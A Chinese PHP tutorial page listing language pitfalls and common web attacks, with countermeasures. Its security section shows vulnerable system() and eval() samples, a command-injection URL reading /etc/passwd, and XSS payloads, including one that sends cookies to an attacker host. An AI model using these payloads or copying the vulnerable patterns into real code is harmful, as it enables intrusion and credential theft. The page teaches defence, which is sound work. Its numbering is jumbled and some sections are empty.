加入收藏 | 设为首页 | 会员中心 | 我要投稿 应用网_丽江站长网 (http://www.0888zz.com/)- 科技、建站、数据工具、云上网络、机器学习!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

基于PHP编程需注意事项的小结

发布时间:2022-07-11 19:30:42 所属栏目:PHP教程 来源:互联网
导读:基于PHP编程注意事项的小结 php隐性的三元操作符(?:)优先级问题: 例1: 复制代码 代码如下:www.CuoXIn.com $person = $who or $person = laruence; //实际上是等同于: $person = empty($who)? laruence : $who; 例2 复制代码 代码如下:www.CuoXIn.com $ar
  基于PHP编程注意事项的小结

  php隐性的三元操作符(?:)优先级问题:
 
  例1:
 
  复制代码 代码如下:www.CuoXIn.com
 
  $person = $who or $person = "laruence";
 
  //实际上是等同于:
 
  $person = empty($who)? "laruence" : $who;
 
  例2
  复制代码 代码如下:www.CuoXIn.com
 
  $arr = array(1=>1,3=>3);
  $i = 2;
  $a = 'test‘ . isset($arr[$i]) ? $arr[$i] : $i;
 
  $a 是什么? 这个问题, 咋一看觉得简单,
  $a = ‘test2';
 
  其实仔细推敲后运行的,结果是notice:Undefined index 2..
 
  由于优先级的问题, 连接符的优先级比三元操作符高。
 
  首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此:

   引用注意事项
  PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。
 
  1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了
 
  例如:不会 unset $b,只是 $a。
 
  复制代码 代码如下:www.CuoXIn.com
 
  <?php
 
  $a = 1 ;
  $b =& $a ;
  unset ( $a );
  echo $b; //输出:1:
 
  使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
  原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
  2)PHP引用是采用引用计数、写时拷贝
 
  很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)
 
  就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:
  $a = array('a','c'...'n');
  $b = $a;
  如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
 
  如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。
 
  复制代码 代码如下:www.CuoXIn.com
 
  function printArray(&$arr) //引用传递
  {
  print(count($arr));
  }
  printArray($a);
 基于PHP编程需注意事项的小结
  上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
  直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。
 
  如果我们把上面的代码改成下面这样:
 
  复制代码 代码如下:www.CuoXIn.com
 
  function printArray($arr) //值传递
  {
  print(count($arr));
  }
  printArray($a);
 
  上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
  5. 编码的问题
 
  程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?
  $str = “您好hello”;
 
  echo strlen($str);
 
  结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().
 
  6. PHP获取参数的三种方法
 
  方法一 使用$argc $argv
 
  复制代码 代码如下:www.CuoXIn.com
 
  <?php
  if ($argc > 1){
  print_r($argv);
  }
 
  在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
  运行结果:
  # /usr/local/php/bin/php ./getopt.php -f 123 -g 456
  Array
  (
  [0] => ./getopt.php
  [1] => -f
  [2] => 123
  [3] => -g
  [4] => 456
  )
 
  方法二 使用getopt函数()
 
  复制代码 代码如下:www.CuoXIn.com
 
  $options = "f:g:";
  $opts = getopt( $options );
  print_r($opts);
 
  在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
  运行结果:
  Array
  (
  [f] => 123
  [g] => 456
  )
  方法三 提示用户输入,然后获取输入的参数。有点像C语言
 
  复制代码 代码如下:www.CuoXIn.com
 
  fwrite(STDOUT, "Enter your name: ");
  $name = trim(fgets(STDIN));
  fwrite(STDOUT, "Hello, $name!");
 
  在命令行下运行 /usr/local/php/bin/php ./getopt.php
  运行结果
  Enter your name: francis
  Hello, francis!
 
  7. php的字符串即可以当做数组,和c指针字符串一样
 
  复制代码 代码如下:www.CuoXIn.com
 
  <?php
  $s = '12345';
  $s[$s[0]] = 0;
  echo $s;
  ?>
 
  结果是10345
 
  8. PHP的高效率写法:
 
  9. PHP的安全漏洞问题:
 
  针对PHP的网站主要存在下面几种攻击方式:
 
  1、命令注入(Command Injection)
 
  PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
  如:
 
  复制代码 代码如下:www.CuoXIn.com
 
  <?php
  $dir = $_GET["dir"];
  if (isset($dir)) {
  echo "";
  system("ls -al ".$dir);
  echo "";
  }
  ?>
 
  我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
  2、eval注入(Eval Injection)
 
  eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
 
  复制代码 代码如下:www.CuoXIn.com
 
  $var = "var";
  if (isset($_GET["arg"]))
  {
  $arg = $_GET["arg"];
  eval("/$var = $arg;");
  echo "/$var =".$var;
  }
  ?>
 
  当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
  防范命令注入和eval注入的方法
 
  1)、尽量不要执行外部命令。
 
  2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
 
  3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“/'”,双引号“"”,替换成“/"”,分号“;”替换成“/;”
 
  3、客户端脚本攻击(Script Insertion)
 
  客户端脚本植入的攻击步骤
 
  1)、攻击者注册普通用户后登陆网站
 
  2)、打开留言页面,插入攻击的js代码
 
  3)、其他用户登录网站(包括管理员),浏览此留言的内容
 
  4)、隐藏在留言内容中的js代码被执行,攻击成功
 
  表单输入一些浏览器可以执行的脚本:
 
  插入 <script>while(1){windows.open();}</script> 无限弹框
 
  插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
  防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
 
  4、跨网站脚本攻击(Cross Site Scripting, XSS)
 
  恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
 
  跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
 
  跨站脚本攻击的一般步骤:
 
  1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
 
  插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
 
  或者是链接:
 
  http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >
 
  2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
 
  3)、网站执行了此xss攻击脚本
 
  4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
 
  5)、攻击者使用目标用户的信息登录网站,完成攻击
 
  防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
 
  5、SQL注入攻击(SQL injection)
 
  SQL注入最有效的防御方式是使用准备语句:
 
  准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
 
  其优点:
 
  1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
 
  2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
 
  1)用PDO(PHP Data Objects ):
 
  复制代码 代码如下:www.CuoXIn.com
 
  PHP PDO::prepare() and execute()
 
  $preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
 
  $preparedStatement->execute(array(':column' => $unsafeValue));
 
  2) 使用mysqli:
  复制代码 代码如下:www.CuoXIn.com
 
  $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
 
  $stmt->bind_param('s', $name);
 
  $stmt->execute();
 
  $result = $stmt->get_result();
 
  while ($row = $result->fetch_assoc()) {
 
  // do something with $row
 
  3、Linux下命令行执行php文件的格式必须是unix。
  php ./test.php
  如果test.php是windos上传的,其格式可能是dos。
  然后运行该命令就报错:Could not open input file
 
  我们可以在vi中使用:set ff来查看格式:
 
  fileformat=dos
 
  如果是dos格式,那么就要使用:set ff=unix来设置新格式
 
  再使用:set ff来查看格式,可以看到已经是unix的格式了;
 
  fileformat=unix。

(编辑:应用网_丽江站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读